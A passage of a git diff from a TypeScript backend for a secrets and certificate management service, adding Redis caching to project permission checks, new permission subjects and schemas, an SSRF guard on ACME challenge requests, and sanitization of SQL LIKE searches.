     const serviceToken = await serviceTokenDAL.findById(serviceTokenId);
     if (!serviceToken) throw new NotFoundError({ message: `Service token with ID '${serviceTokenId}' not found` });
 
-    const serviceTokenProject = await projectDAL.findById(serviceToken.projectId);
+    const serviceTokenProject = await requestMemoize(requestMemoKeys.projectFindById(serviceToken.projectId), () =>
+      projectDAL.findById(serviceToken.projectId)
+    );
 
     if (!serviceTokenProject) throw new BadRequestError({ message: "Service token not linked to a project" });
 
@@ -360,6 +299,107 @@ export const permissionServiceFactory = ({
     };
   };
 
+  const reviveCachedPermissionDates = (
+    memberships: {
+      roles?: { temporaryAccessEndTime?: string | Date | null }[];
+      additionalPrivileges?: { temporaryAccessEndTime?: string | Date | null }[];
+    }[]
+  ) => {
+    for (const membership of memberships) {
+      for (const role of membership.roles ?? []) {
+        if (role.temporaryAccessEndTime) {
+          role.temporaryAccessEndTime = new Date(role.temporaryAccessEndTime);
+        }
+      }
+      for (const priv of membership.additionalPrivileges ?? []) {
+        if (priv.temporaryAccessEndTime) {
+          priv.temporaryAccessEndTime = new Date(priv.temporaryAccessEndTime);
+        }
+      }
+    }
+  };
+
+  type TCachedProjectPermission = {
+    permissionData: Awaited<ReturnType<TPermissionDALFactory["getPermission"]>>;
+    projectDetails: TProjects;
+    username: string;
+    canBypassSso: boolean;
+  };
+
+  const $fetchProjectPermissionData = async (
+    projectId: string,
+    actorOrgId: string | undefined,
+    actionProjectType: ActionProjectType,
+    actor: ActorType.USER | ActorType.IDENTITY,
+    actorId: string
+  ): Promise<TCachedProjectPermission> => {
+    const projectDetails = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+      projectDAL.findById(projectId)
+    );
+    if (!projectDetails) {
+      throw new NotFoundError({ message: `Project with ${projectId} not found` });
+    }
+
+    if (projectDetails.orgId !== actorOrgId) {
+      throw new ForbiddenRequestError({ message: "This project does not belong to your selected organization." });
+    }
+
+    if (actionProjectType !== ActionProjectType.Any && actionProjectType !== projectDetails.type) {
+      throw new BadRequestError({
+        message: `The project is of type ${projectDetails.type}. Operations of type ${actionProjectType} are not allowed.`
+      });
+    }
+
+    const permissionData = await permissionDAL.getPermission({
+      scopeData: {
+        scope: AccessScope.Project,
+        orgId: projectDetails.orgId,
+        projectId
+      },
+      actorId,
+      actorType: actor
+    });
+    if (!permissionData?.length)
+      throw new ForbiddenRequestError({
+        message: `You are not a member of this project with ID ${projectId}. Please assign this ${actor} to the project with the appropriate permissions, then try again.`
+      });
+
+    let username = "";
+    if (actor === ActorType.USER) {
+      const userDetails = await userDAL.findById(actorId);
+      username = userDetails?.username ?? "";
+    } else {
+      const identityDetails = await identityDAL.findById(actorId);
+      username = identityDetails?.name ?? "";
+    }
+
+    // SSO bypass check (for USER actors) — pre-compute and cache the boolean
+    let canBypassSso = false;
+    if (actor === ActorType.USER) {
+      const enforceSsoAndBypassEnabled =
+        permissionData?.[0].orgAuthEnforced ||
+        (permissionData?.[0].orgGoogleSsoAuthEnforced && permissionData?.[0].bypassOrgAuthEnabled);
+
+      if (enforceSsoAndBypassEnabled) {
+        const orgIdForBypass = permissionData?.[0].rootOrgId ?? projectDetails.orgId;
+        const orgPermissionData = await permissionDAL.getPermission({
+          scopeData: { scope: AccessScope.Organization, orgId: orgIdForBypass },
+          actorId,
+          actorType: ActorType.USER
+        });
+        if (orgPermissionData?.length) {
+          const orgPermissionFromRoles = flattenActiveRolesFromMemberships(orgPermissionData, OrgMembershipRole.Custom);
+          const orgPermission = createMongoAbility<OrgPermissionSet>(buildOrgPermissionRules(orgPermissionFromRoles), {
+            conditionsMatcher
+          });
+          canBypassSso = orgPermission.can(OrgPermissionSsoActions.BypassSsoEnforcement, OrgPermissionSubjects.Sso);
+        }
+      }
+    }
+
+    return { permissionData, projectDetails, username, canBypassSso };
+  };
+
   const getProjectPermission: TPermissionServiceFactory["getProjectPermission"] = async ({
     actor: inputActor,
     actorId: inputActorId,
@@ -371,6 +411,10 @@ export const permissionServiceFactory = ({
     let actor = inputActor;
     let actorId = inputActorId;
 
+    if (!actorOrgId) {
+      throw new BadRequestError({ message: "Organization context is required for project permission checks" });
+    }
+
     if (actor === ActorType.SERVICE) {
       return getServiceTokenProjectPermission({
         serviceTokenId: actorId,
@@ -397,9 +441,7 @@ export const permissionServiceFactory = ({
         name: "Get org permission"
       });
     }
-
-    const projectPermissionActor: ActorType.USER | ActorType.IDENTITY =
-      actor === ActorType.USER ? ActorType.USER : ActorType.IDENTITY;
+    const narrowedActor: ActorType.USER | ActorType.IDENTITY = actor;
 
     // Request-scoped full-function memoization: identical permission checks within the same request
     const memoKey = requestMemoKeys.projectPermission({
@@ -419,79 +461,51 @@ export const permissionServiceFactory = ({
     };
 
     const loadProjectPermission = async (): Promise<TProjectPermissionMemoPayload> => {
-      // DAL-level memoization: deduplicates projectDAL.findById across services
-      // (permission service, getBotKey, KMS) within the same request.
-      const projectDetails = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
-        projectDAL.findById(projectId)
-      );
-      if (!projectDetails) {
-        throw new NotFoundError({ message: `Project with ${projectId} not found` });
-      }
+      // Layer 2: Redis fingerprint cache (marker 10s + data 10m)
+      const cached: TCachedProjectPermission = await withCacheFingerprint<TCachedProjectPermission>({
+        keyStore,
+        dataKey: KeyStorePrefixes.ProjectPermissionData(projectId, narrowedActor, actorId, actionProjectType),
+        markerKey: KeyStorePrefixes.ProjectPermissionMarker(projectId, narrowedActor, actorId, actionProjectType),
+        markerTtlSeconds: KeyStoreTtls.ProjectPermissionMarkerTtlSeconds,
+        dataTtlSeconds: KeyStoreTtls.ProjectPermissionDataTtlSeconds,
+        fingerprintFetcher: () =>
+          permissionDAL.getPermissionFingerprint({
+            projectId,
+            orgId: actorOrgId,
+            actorId,
+            actorType: narrowedActor
+          }),
+        dataFetcher: () =>
+          $fetchProjectPermissionData(projectId, actorOrgId, actionProjectType, narrowedActor, actorId),
+        reviver: (parsed: TCachedProjectPermission) => {
+          reviveCachedPermissionDates(parsed.permissionData);
+        }
+      });
 
-      const projectDetailsCtx = {
-        id: projectDetails.id,
-        name: projectDetails.name,
-        slug: projectDetails.slug
-      };
+      const { permissionData, projectDetails, username, canBypassSso } = cached;
 
       if (projectDetails.orgId !== actorOrgId) {
         throw new ForbiddenRequestError({ message: "This project does not belong to your selected organization." });
       }
-
       if (actionProjectType !== ActionProjectType.Any && actionProjectType !== projectDetails.type) {
         throw new BadRequestError({
           message: `The project is of type ${projectDetails.type}. Operations of type ${actionProjectType} are not allowed.`
         });
       }
 
-      const permissionData = await permissionDAL.getPermission({
-        scopeData: {
-          scope: AccessScope.Project,
-          orgId: projectDetails.orgId,
-          projectId
-        },
-        actorId,
-        actorType: projectPermissionActor
-      });
-      if (!permissionData?.length)
-        throw new ForbiddenRequestError({
-          message: `You are not a member of this project with ID ${projectId}. Please assign this ${projectPermissionActor} to the project with the appropriate permissions, then try again.`
-        });
+      const projectDetailsCtx = {
+        id: projectDetails.id,
+        name: projectDetails.name,
+        slug: projectDetails.slug
+      };
 
       const permissionFromRoles = flattenActiveRolesFromMemberships(permissionData, ProjectMembershipRole.Custom);
 
       const hasRole = (role: string) =>
         permissionData.some((memberships) => memberships.roles.some((el) => role === (el.customRoleSlug || el.role)));
 
-      // SSO enforcement applies only to users; use org-level bypass criteria (Org Admin or BypassSsoEnforcement permission)
-      // When project is in sub-org, use root org for bypass check (SSO enforced at root; user's bypass permission is in root org)
+      // SSO enforcement runs on every request (uses per-request actorAuthMethod, not cached)
       if (actor === ActorType.USER) {
-        let canBypassSso = false;
-        const enforceSsoAndBypassEnabled =
-          permissionData?.[0].orgAuthEnforced ||
-          (permissionData?.[0].orgGoogleSsoAuthEnforced && permissionData?.[0].bypassOrgAuthEnabled);
-
-        if (enforceSsoAndBypassEnabled) {
-          const orgIdForBypass = permissionData?.[0].rootOrgId ?? projectDetails.orgId;
-          const orgPermissionData = await permissionDAL.getPermission({
-            scopeData: { scope: AccessScope.Organization, orgId: orgIdForBypass },
-            actorId,
-            actorType: ActorType.USER
-          });
-          if (orgPermissionData?.length) {
-            const orgPermissionFromRoles = flattenActiveRolesFromMemberships(
-              orgPermissionData,
-              OrgMembershipRole.Custom
-            );
-            const orgPermission = createMongoAbility<OrgPermissionSet>(
-              buildOrgPermissionRules(orgPermissionFromRoles),
-              {
-                conditionsMatcher
-              }
-            );
-            canBypassSso = orgPermission.can(OrgPermissionSsoActions.BypassSsoEnforcement, OrgPermissionSubjects.Sso);
-          }
-        }
         validateOrgSSO(
           actorAuthMethod,
           permissionData?.[0].orgAuthEnforced,
@@ -511,19 +525,6 @@ export const permissionServiceFactory = ({
       const metadataKeyValuePair = escapeHandlebarsMissingDict(unescapedMetadata, "identity.metadata");
       const identityPermissionMetadataCtx = { metadata: unescapedMetadata };
 
-      let username = "";
-      if (actor === ActorType.USER) {
-        const userDetails = await requestMemoize(requestMemoKeys.userFindById(actorId), () =>
-          userDAL.findById(actorId)
-        );
-        username = userDetails?.username;
-      } else {
-        const identityDetails = await requestMemoize(requestMemoKeys.identityFindById(actorId), () =>
-          identityDAL.findById(actorId)
-        );
-        username = identityDetails?.name;
-      }
-
       const unescapedIdentityAuthInfo = requestContext.get(RequestContextKey.IdentityAuthInfo);
       const identityAuthInfo =
         unescapedIdentityAuthInfo?.identityId === actorId && unescapedIdentityAuthInfo
@@ -563,6 +564,7 @@ export const permissionServiceFactory = ({
       };
     };
 
+    // Layer 1: in-memory per-request memoization → Layer 2: Redis fingerprint cache → Layer 3: DB
     const payload = memoizer ? await memoizer.getOrSet(memoKey, loadProjectPermission) : await loadProjectPermission();
 
     requestContext.set(RequestContextKey.ProjectDetails, payload.projectDetailsCtx);
@@ -820,7 +822,6 @@ export const permissionServiceFactory = ({
     getProjectPermissions,
     getOrgPermissionByRoles,
     getProjectPermissionByRoles,
-    checkGroupProjectPermission,
-    invalidateProjectPermissionCache
+    checkGroupProjectPermission
   };
 };
diff --git a/backend/src/ee/services/permission/project-permission.ts b/backend/src/ee/services/permission/project-permission.ts
index b9a54294ea6..e16b338d76b 100644
--- a/backend/src/ee/services/permission/project-permission.ts
+++ b/backend/src/ee/services/permission/project-permission.ts
@@ -248,6 +248,10 @@ export enum ProjectPermissionAuditLogsActions {
   Read = "read"
 }
 
+export enum ProjectPermissionInsightsActions {
+  Read = "read"
+}
+
 export enum ProjectPermissionPamAccountActions {
   Access = "access",
   Read = "read",
@@ -337,6 +341,7 @@ export enum ProjectPermissionSub {
   PkiSubscribers = "pki-subscribers",
   PkiAlerts = "pki-alerts",
   PkiCollections = "pki-collections",
+  CertificateInventoryViews = "certificate-inventory-views",
   Kms = "kms",
   Cmek = "cmek",
   SecretSyncs = "secret-syncs",
@@ -352,6 +357,7 @@ export enum ProjectPermissionSub {
   AppConnections = "app-connections",
   PamFolders = "pam-folders",
   PamResources = "pam-resources",
+  PamDomains = "pam-domains",
   PamAccounts = "pam-accounts",
   PamSessions = "pam-sessions",
   PamAccountPolicies = "pam-account-policies",
@@ -362,7 +368,8 @@ export enum ProjectPermissionSub {
   ApprovalRequestGrants = "approval-request-grants",
   McpEndpoints = "mcp-endpoints",
   McpServers = "mcp-servers",
-  McpActivityLogs = "mcp-activity-logs"
+  McpActivityLogs = "mcp-activity-logs",
+  Insights = "insights"
 }
 
 // Structure: { [subject]: { [action]: allowedConditionKeys[] } }
@@ -522,9 +529,11 @@ export type McpEndpointSubjectFields = {
 };
 
 export type PamAccountSubjectFields = {
-  resourceName: string;
+  resourceName?: string;
+  resourceType?: string;
+  domainName?: string;
+  domainType?: string;
   accountName: string;
-  resourceType: string;
   metadata?: { key: string; value: string }[];
 };
 
@@ -534,6 +543,12 @@ export type PamResourceSubjectFields = {
   metadata?: { key: string; value: string }[];
 };
 
+export type PamDomainSubjectFields = {
+  name: string;
+  domainType: string;
+  metadata?: { key: string; value: string }[];
+};
+
 export type ProjectPermissionSet =
   | [
       ProjectPermissionSecretActions,
@@ -635,6 +650,7 @@ export type ProjectPermissionSet =
   | [ProjectPermissionActions, ProjectPermissionSub.SshHostGroups]
   | [ProjectPermissionActions, ProjectPermissionSub.PkiAlerts]
   | [ProjectPermissionActions, ProjectPermissionSub.PkiCollections]
+  | [ProjectPermissionActions, ProjectPermissionSub.CertificateInventoryViews]
   | [ProjectPermissionKmipActions, ProjectPermissionSub.Kmip]
   | [ProjectPermissionCmekActions, ProjectPermissionSub.Cmek]
   | [ProjectPermissionActions.Delete, ProjectPermissionSub.Project]
@@ -665,6 +681,10 @@ export type ProjectPermissionSet =
       ProjectPermissionActions,
       ProjectPermissionSub.PamResources | (ForcedSubject<ProjectPermissionSub.PamResources> & PamResourceSubjectFields)
     ]
+  | [
+      ProjectPermissionActions,
+      ProjectPermissionSub.PamDomains | (ForcedSubject<ProjectPermissionSub.PamDomains> & PamDomainSubjectFields)
+    ]
   | [
       ProjectPermissionPamAccountActions,
       ProjectPermissionSub.PamAccounts | (ForcedSubject<ProjectPermissionSub.PamAccounts> & PamAccountSubjectFields)
@@ -694,7 +714,8 @@ export type ProjectPermissionSet =
     ]
   | [ProjectPermissionApprovalRequestActions, ProjectPermissionSub.ApprovalRequests]
   | [ProjectPermissionApprovalRequestGrantActions, ProjectPermissionSub.ApprovalRequestGrants]
-  | [ProjectPermissionSecretApprovalRequestActions, ProjectPermissionSub.SecretApprovalRequest];
+  | [ProjectPermissionSecretApprovalRequestActions, ProjectPermissionSub.SecretApprovalRequest]
+  | [ProjectPermissionInsightsActions, ProjectPermissionSub.Insights];
 
 const SECRET_PATH_MISSING_SLASH_ERR_MSG = "Invalid Secret Path; it must start with a '/'";
 const SECRET_PATH_PERMISSION_OPERATOR_SCHEMA = z.union([
@@ -1256,6 +1277,28 @@ const PamAccountConditionSchema = z
         })
         .partial()
     ]),
+    domainName: z.union([
+      z.string(),
+      z
+        .object({
+          [PermissionConditionOperators.$EQ]: PermissionConditionSchema[PermissionConditionOperators.$EQ],
+          [PermissionConditionOperators.$NEQ]: PermissionConditionSchema[PermissionConditionOperators.$NEQ],
+          [PermissionConditionOperators.$IN]: PermissionConditionSchema[PermissionConditionOperators.$IN],
+          [PermissionConditionOperators.$GLOB]: PermissionConditionSchema[PermissionConditionOperators.$GLOB]
+        })
+        .partial()
+    ]),
+    domainType: z.union([
+      z.string(),
+      z
+        .object({
+          [PermissionConditionOperators.$EQ]: PermissionConditionSchema[PermissionConditionOperators.$EQ],
+          [PermissionConditionOperators.$NEQ]: PermissionConditionSchema[PermissionConditionOperators.$NEQ],
+          [PermissionConditionOperators.$IN]: PermissionConditionSchema[PermissionConditionOperators.$IN],
+          [PermissionConditionOperators.$GLOB]: PermissionConditionSchema[PermissionConditionOperators.$GLOB]
+        })
+        .partial()
+    ]),
     metadata: z.object({
       [PermissionConditionOperators.$ELEMENTMATCH]: z
         .object({
@@ -1326,6 +1369,53 @@ const PamResourceConditionSchema = z
   })
   .partial();
 
+const PamDomainConditionSchema = z
+  .object({
+    name: z.union([
+      z.string(),
+      z
+        .object({
+          [PermissionConditionOperators.$EQ]: PermissionConditionSchema[PermissionConditionOperators.$EQ],
+          [PermissionConditionOperators.$NEQ]: PermissionConditionSchema[PermissionConditionOperators.$NEQ],
+          [PermissionConditionOperators.$IN]: PermissionConditionSchema[PermissionConditionOperators.$IN],
+          [PermissionConditionOperators.$GLOB]: PermissionConditionSchema[PermissionConditionOperators.$GLOB]
+        })
+        .partial()
+    ]),
+    domainType: z.union([
+      z.string(),
+      z
+        .object({
+          [PermissionConditionOperators.$EQ]: PermissionConditionSchema[PermissionConditionOperators.$EQ],
+          [PermissionConditionOperators.$NEQ]: PermissionConditionSchema[PermissionConditionOperators.$NEQ],
+          [PermissionConditionOperators.$IN]: PermissionConditionSchema[PermissionConditionOperators.$IN],
+          [PermissionConditionOperators.$GLOB]: PermissionConditionSchema[PermissionConditionOperators.$GLOB]
+        })
+        .partial()
+    ]),
+    metadata: z.object({
+      [PermissionConditionOperators.$ELEMENTMATCH]: z
+        .object({
+          key: z
+            .object({
+              [PermissionConditionOperators.$EQ]: PermissionConditionSchema[PermissionConditionOperators.$EQ],
+              [PermissionConditionOperators.$NEQ]: PermissionConditionSchema[PermissionConditionOperators.$NEQ],
+              [PermissionConditionOperators.$IN]: PermissionConditionSchema[PermissionConditionOperators.$IN]
+            })
+            .partial(),
+          value: z
+            .object({
+              [PermissionConditionOperators.$EQ]: PermissionConditionSchema[PermissionConditionOperators.$EQ],
+              [PermissionConditionOperators.$NEQ]: PermissionConditionSchema[PermissionConditionOperators.$NEQ],
+              [PermissionConditionOperators.$IN]: PermissionConditionSchema[PermissionConditionOperators.$IN]
+            })
+            .partial()
+        })
+        .partial()
+    })
+  })
+  .partial();
+
 const CertificateAuthorityConditionSchema = z
   .object({
     name: z.union([
@@ -1517,6 +1607,12 @@ const GeneralPermissionSchema = [
       "Describe what action an entity can take."
     )
   }),
+  z.object({
+    subject: z.literal(ProjectPermissionSub.Insights).describe("The entity this permission pertains to."),
+    action: CASL_ACTION_SCHEMA_NATIVE_ENUM(ProjectPermissionInsightsActions).describe(
+      "Describe what action an entity can take."
+    )
+  }),
   z.object({
     subject: z.literal(ProjectPermissionSub.IpAllowList).describe("The entity this permission pertains to."),
     action: CASL_ACTION_SCHEMA_NATIVE_ENUM(ProjectPermissionActions).describe(
@@ -1563,6 +1659,14 @@ const GeneralPermissionSchema = [
       "Describe what action an entity can take."
     )
   }),
+  z.object({
+    subject: z
+      .literal(ProjectPermissionSub.CertificateInventoryViews)
+      .describe("The entity this permission pertains to."),
+    action: CASL_ACTION_SCHEMA_NATIVE_ENUM(ProjectPermissionActions).describe(
+      "Describe what action an entity can take."
+    )
+  }),
   z.object({
     subject: z.literal(ProjectPermissionSub.PkiDiscovery).describe("The entity this permission pertains to."),
     action: CASL_ACTION_SCHEMA_NATIVE_ENUM(ProjectPermissionPkiDiscoveryActions).describe(
@@ -1659,6 +1763,16 @@ const GeneralPermissionSchema = [
       "When specified, only matching conditions will be allowed to access given resource."
     ).optional()
   }),
+  z.object({
+    subject: z.literal(ProjectPermissionSub.PamDomains).describe("The entity this permission pertains to."),
+    inverted: z.boolean().optional().describe("Whether rule allows or forbids."),
+    action: CASL_ACTION_SCHEMA_NATIVE_ENUM(ProjectPermissionActions).describe(
+      "Describe what action an entity can take."
+    ),
+    conditions: PamDomainConditionSchema.describe(
+      "When specified, only matching conditions will be allowed to access given domain."
+    ).optional()
+  }),
   z.object({
     subject: z.literal(ProjectPermissionSub.PamAccounts).describe("The entity this permission pertains to."),
     inverted: z.boolean().optional().describe("Whether rule allows or forbids."),
diff --git a/backend/src/ee/services/pki-acme/pki-acme-challenge-service.ts b/backend/src/ee/services/pki-acme/pki-acme-challenge-service.ts
index 2649e0a1108..391578cbb12 100644
--- a/backend/src/ee/services/pki-acme/pki-acme-challenge-service.ts
+++ b/backend/src/ee/services/pki-acme/pki-acme-challenge-service.ts
@@ -1,14 +1,16 @@
 import { resolve4, Resolver } from "node:dns/promises";
 
-import axios, { AxiosError } from "axios";
+import { AxiosError, isAxiosError } from "axios";
 
 import { TPkiAcmeChallenges } from "@app/db/schemas/pki-acme-challenges";
 import { getConfig } from "@app/lib/config/env";
+import { request } from "@app/lib/config/request";
 import { crypto } from "@app/lib/crypto/cryptography";
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
 import { isValidIp } from "@app/lib/ip";
 import { isPrivateIp } from "@app/lib/ip/ipRange";
 import { logger } from "@app/lib/logger";
+import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
 import { ActorType } from "@app/services/auth/auth-type";
 
 import { EventType, TAuditLogServiceFactory } from "../audit-log/audit-log-types";
@@ -93,10 +95,14 @@ export const pkiAcmeChallengeServiceFactory = ({
 
     // TODO: read config from the profile to get the timeout instead
     const timeoutMs = 10 * 1000; // 10 seconds
+
+    // SSRF protection: resolve DNS and block private/local IP addresses
+    await blockLocalAndPrivateIpAddresses(challengeUrl.toString());
+
     // Notice: well, we are in a transaction, ideally we should not hold transaction and perform
     //         a long running operation for long time. But assuming we are not performing a tons of
     //         challenge validation at the same time, it should be fine.
-    const challengeResponse = await axios.get<string>(challengeUrl.toString(), {
+    const challengeResponse = await request.get<string>(challengeUrl.toString(), {
       // In case if we override the host in the development mode, still provide the original host in the header
       // to help the upstream server to validate the request
       headers: {
@@ -175,7 +181,7 @@ export const pkiAcmeChallengeServiceFactory = ({
 
     try {
       // Properly type and inspect the error
-      if (axios.isAxiosError(exp)) {
+      if (isAxiosError(exp)) {
         const axiosError = exp as AxiosError;
         const errorCode = axiosError.code;
         const errorMessage = axiosError.message;
diff --git a/backend/src/ee/services/pki-acme/pki-acme-service.ts b/backend/src/ee/services/pki-acme/pki-acme-service.ts
index 3e261efc8da..0712a8222fe 100644
--- a/backend/src/ee/services/pki-acme/pki-acme-service.ts
+++ b/backend/src/ee/services/pki-acme/pki-acme-service.ts
@@ -13,7 +13,7 @@ import { z, ZodError } from "zod";
 import { TPkiAcmeOrders } from "@app/db/schemas";
 import { TPkiAcmeAccounts } from "@app/db/schemas/pki-acme-accounts";
 import { TPkiAcmeAuths } from "@app/db/schemas/pki-acme-auths";
-import { KeyStorePrefixes, TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
 import { getConfig } from "@app/lib/config/env";
 import { crypto } from "@app/lib/crypto/cryptography";
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
@@ -398,6 +398,7 @@ export const pkiAcmeServiceFactory = ({
       switch (orderWithCertificateRequest.certificateRequest.status) {
         case CertificateRequestStatus.PENDING:
         case CertificateRequestStatus.PENDING_APPROVAL:
+        case CertificateRequestStatus.PENDING_VALIDATION:
           break;
         case CertificateRequestStatus.ISSUED:
           newStatus = AcmeOrderStatus.Valid;
@@ -435,13 +436,8 @@ export const pkiAcmeServiceFactory = ({
     await validateAcmeProfile(profileId);
     const nonce = crypto.randomBytes(32).toString("base64url");
     const nonceKey = KeyStorePrefixes.PkiAcmeNonce(nonce);
-    await keyStore.setItemWithExpiry(
-      nonceKey,
-      // Expire in 5 minutes.
-      // TODO: read config from the profile to get the expiration time instead
-      60 * 5,
-      nonce
-    );
+    // TODO: read config from the profile to get the expiration time instead
+    await keyStore.setItemWithExpiry(nonceKey, KeyStoreTtls.PkiAcmeNonceInSeconds, nonce);
     return nonce;
   };
 
diff --git a/backend/src/ee/services/pki-discovery/pki-certificate-installation-dal.ts b/backend/src/ee/services/pki-discovery/pki-certificate-installation-dal.ts
index ab36cea7e51..7e28bc851e4 100644
--- a/backend/src/ee/services/pki-discovery/pki-certificate-installation-dal.ts
+++ b/backend/src/ee/services/pki-discovery/pki-certificate-installation-dal.ts
@@ -3,6 +3,7 @@ import { Knex } from "knex";
 import { TDbClient } from "@app/db";
 import { TableName, TPkiCertificateInstallations } from "@app/db/schemas";
 import { DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { ormify, selectAllTableCols } from "@app/lib/knex";
 
 export type TPkiCertificateInstallationDALFactory = ReturnType<typeof pkiCertificateInstallationDALFactory>;
@@ -100,14 +101,15 @@ export const pkiCertificateInstallationDALFactory = (db: TDbClient) => {
       }
 
       if (search) {
+        const sanitizedSearch = sanitizeSqlLikeString(search);
         void query.andWhere((qb: Knex.QueryBuilder) => {
           void qb
-            .whereILike(`${TableName.PkiCertificateInstallation}.name`, `%${search}%`)
+            .whereILike(`${TableName.PkiCertificateInstallation}.name`, `%${sanitizedSearch}%`)
             .orWhereRaw(`"${TableName.PkiCertificateInstallation}"."locationDetails"->>'hostname' ILIKE ?`, [
-              `%${search}%`
+              `%${sanitizedSearch}%`
             ])
             .orWhereRaw(`"${TableName.PkiCertificateInstallation}"."locationDetails"->>'ipAddress' ILIKE ?`, [
-              `%${search}%`
+              `%${sanitizedSearch}%`
             ]);
         });
       }
@@ -166,14 +168,15 @@ export const pkiCertificateInstallationDALFactory = (db: TDbClient) => {
       }
 
       if (search) {
+        const sanitizedSearch = sanitizeSqlLikeString(search);
         void query.andWhere((qb: Knex.QueryBuilder) => {
           void qb
-            .whereILike(`${TableName.PkiCertificateInstallation}.name`, `%${search}%`)
+            .whereILike(`${TableName.PkiCertificateInstallation}.name`, `%${sanitizedSearch}%`)
             .orWhereRaw(`"${TableName.PkiCertificateInstallation}"."locationDetails"->>'hostname' ILIKE ?`, [
-              `%${search}%`
+              `%${sanitizedSearch}%`
             ])
             .orWhereRaw(`"${TableName.PkiCertificateInstallation}"."locationDetails"->>'ipAddress' ILIKE ?`, [
-              `%${search}%`
+              `%${sanitizedSearch}%`
             ]);
         });
       }
diff --git a/backend/src/ee/services/pki-discovery/pki-discovery-config-dal.ts b/backend/src/ee/services/pki-discovery/pki-discovery-config-dal.ts
index acd6bd2aa73..a80c3546efb 100644
--- a/backend/src/ee/services/pki-discovery/pki-discovery-config-dal.ts
+++ b/backend/src/ee/services/pki-discovery/pki-discovery-config-dal.ts
@@ -3,6 +3,7 @@ import { Knex } from "knex";
 import { TDbClient } from "@app/db";
 import { TableName, TPkiDiscoveryConfigs } from "@app/db/schemas";
 import { DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { ormify } from "@app/lib/knex";
 
 import { PkiDiscoveryScanStatus } from "./pki-discovery-types";
@@ -51,8 +52,9 @@ export const pkiDiscoveryConfigDALFactory = (db: TDbClient) => {
         .limit(limit);
 
       if (search) {
+        const sanitizedSearch = sanitizeSqlLikeString(search);
         query = query.andWhere((qb) => {
-          void qb.whereILike("name", `%${search}%`).orWhereILike("description", `%${search}%`);
+          void qb.whereILike("name", `%${sanitizedSearch}%`).orWhereILike("description", `%${sanitizedSearch}%`);
         });
       }
 
@@ -68,8 +70,9 @@ export const pkiDiscoveryConfigDALFactory = (db: TDbClient) => {
       let query = (tx || db.replicaNode())(TableName.PkiDiscoveryConfig).where({ projectId }).count("id").first();
 
       if (search) {
+        const sanitizedSearch = sanitizeSqlLikeString(search);
         query = query.andWhere((qb) => {
-          void qb.whereILike("name", `%${search}%`).orWhereILike("description", `%${search}%`);
+          void qb.whereILike("name", `%${sanitizedSearch}%`).orWhereILike("description", `%${sanitizedSearch}%`);
         });
       }
 
diff --git a/backend/src/ee/services/pki-discovery/pki-discovery-fns.ts b/backend/src/ee/services/pki-discovery/pki-discovery-fns.ts
index 8cdcd0429a7..5caa62b9896 100644
--- a/backend/src/ee/services/pki-discovery/pki-discovery-fns.ts
+++ b/backend/src/ee/services/pki-discovery/pki-discovery-fns.ts
@@ -103,18 +103,23 @@ export const validateTargetConfig = (
     const singleIps = ipRanges.filter((r) => !r.includes("/"));
 
     if (shouldBlockPrivateIps(!!hasGateway)) {
+      const appCfg = getConfig();
+      const selfHostedHint = appCfg.isCloud
+        ? ""
+        : " If you are self-hosting, you can alternatively set the 'ALLOW_INTERNAL_IP_CONNECTIONS' environment variable to 'true' on your instance to scan private networks without a gateway.";
+
       const privateIp = singleIps.find((ip) => isPrivateIp(ip));
       if (privateIp) {
         return {
           valid: false,
-          error: "Private/internal IP addresses require a gateway. Use a gateway to scan private networks."
+          error: `Private/internal IP addresses require a gateway. Use a gateway to scan private networks.${selfHostedHint}`
         };
       }
       const privateCidr = cidrRanges.find((cidr) => isPrivateIp(cidr.split("/")[0]));
       if (privateCidr) {
         return {
           valid: false,
-          error: "Private/internal CIDR ranges require a gateway. Use a gateway to scan private networks."
+          error: `Private/internal CIDR ranges require a gateway. Use a gateway to scan private networks.${selfHostedHint}`
         };
       }
     }
diff --git a/backend/src/ee/services/pki-discovery/pki-discovery-service.ts b/backend/src/ee/services/pki-discovery/pki-discovery-service.ts
index 748b0ba632f..561f5777b73 100644
--- a/backend/src/ee/services/pki-discovery/pki-discovery-service.ts
+++ b/backend/src/ee/services/pki-discovery/pki-discovery-service.ts
@@ -8,7 +8,6 @@ import {
   ProjectPermissionSub
 } from "@app/ee/services/permission/project-permission";
 import { BadRequestError, DatabaseError, ForbiddenRequestError, NotFoundError } from "@app/lib/errors";
-import { TProjectDALFactory } from "@app/services/project/project-dal";
 
 import { TGatewayV2DALFactory } from "../gateway-v2/gateway-v2-dal";
 import { TPkiDiscoveryConfigDALFactory } from "./pki-discovery-config-dal";
@@ -46,7 +45,6 @@ type TPkiDiscoveryServiceFactoryDep = {
     TPkiDiscoveryScanHistoryDALFactory,
     "findLatestByDiscoveryId" | "findByDiscoveryId" | "countByDiscoveryId"
   >;
-  projectDAL: Pick<TProjectDALFactory, "findById">;
   permissionService: Pick<TPermissionServiceFactory, "getProjectPermission" | "getOrgPermission">;
   gatewayV2DAL: Pick<TGatewayV2DALFactory, "findOne">;
   queuePkiDiscoveryScan: (discoveryId: string) => Promise<void>;
@@ -71,7 +69,6 @@ const validateTargetConfigForType = (discoveryType: PkiDiscoveryType, config: TP
 export const pkiDiscoveryServiceFactory = ({
   pkiDiscoveryConfigDAL,
   pkiDiscoveryScanHistoryDAL,
-  projectDAL,
   permissionService,
   gatewayV2DAL,
   queuePkiDiscoveryScan
@@ -104,11 +101,6 @@ export const pkiDiscoveryServiceFactory = ({
       ProjectPermissionSub.PkiDiscovery
     );
 
-    const project = await projectDAL.findById(projectId);
-    if (!project) {
-      throw new NotFoundError({ message: `Project with ID '${projectId}' not found` });
-    }
-
     const existingCount = await pkiDiscoveryConfigDAL.countByProjectId(projectId);
     if (existingCount >= MAX_DISCOVERIES_PER_PROJECT) {
       throw new BadRequestError({
diff --git a/backend/src/ee/services/pki-scep/challenge/index.ts b/backend/src/ee/services/pki-scep/challenge/index.ts
new file mode 100644
index 00000000000..a327cc0ddb6
--- /dev/null
